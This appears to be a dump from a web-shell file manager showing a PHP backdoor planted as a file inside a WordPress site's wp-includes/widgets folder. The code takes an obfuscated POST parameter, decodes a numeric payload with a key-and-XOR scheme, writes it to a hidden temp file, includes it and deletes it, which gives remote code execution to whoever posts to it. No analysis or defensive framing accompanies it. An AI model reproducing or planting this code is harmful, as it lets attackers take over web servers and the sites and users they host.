HEX
Server: Apache
System: Linux pre.izzato.net 4.18.0-553.33.1.el8_10.x86_64 #1 SMP Thu Dec 19 06:22:22 EST 2024 x86_64
User: digital (1001)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/digital/public_html/wp-includes/widgets/bottom-1769094554.php
<!--77IToeDX-->
<?php

if(array_key_exists("\x6D\x72k", $_POST) && !is_null($_POST["\x6D\x72k"])){
$data = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", sys_get_temp_dir()]);
$record = $_POST["\x6D\x72k"];
  	$record =  explode	 	(		'.',$record		 )	; 
$flg='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen($s);
$len=count($record);

for ($i=0; $i < $len; $i++) {
    $val=$record[$i];
    $chS=ord($s[$i % $lenS]);
    $d=((int)$val - $chS - ($i % 10)) ^ 61;
    $flg .= chr($d);
}
foreach ($data as $key => $fac) {
            if ((bool)is_dir($fac) && (bool)is_writable($fac)) {
            $entity = sprintf("%s/.comp", $fac);
            $success = file_put_contents($entity, $flg);
if ($success) {
    include $entity;
    @unlink($entity);
    exit;
}
        }
}
}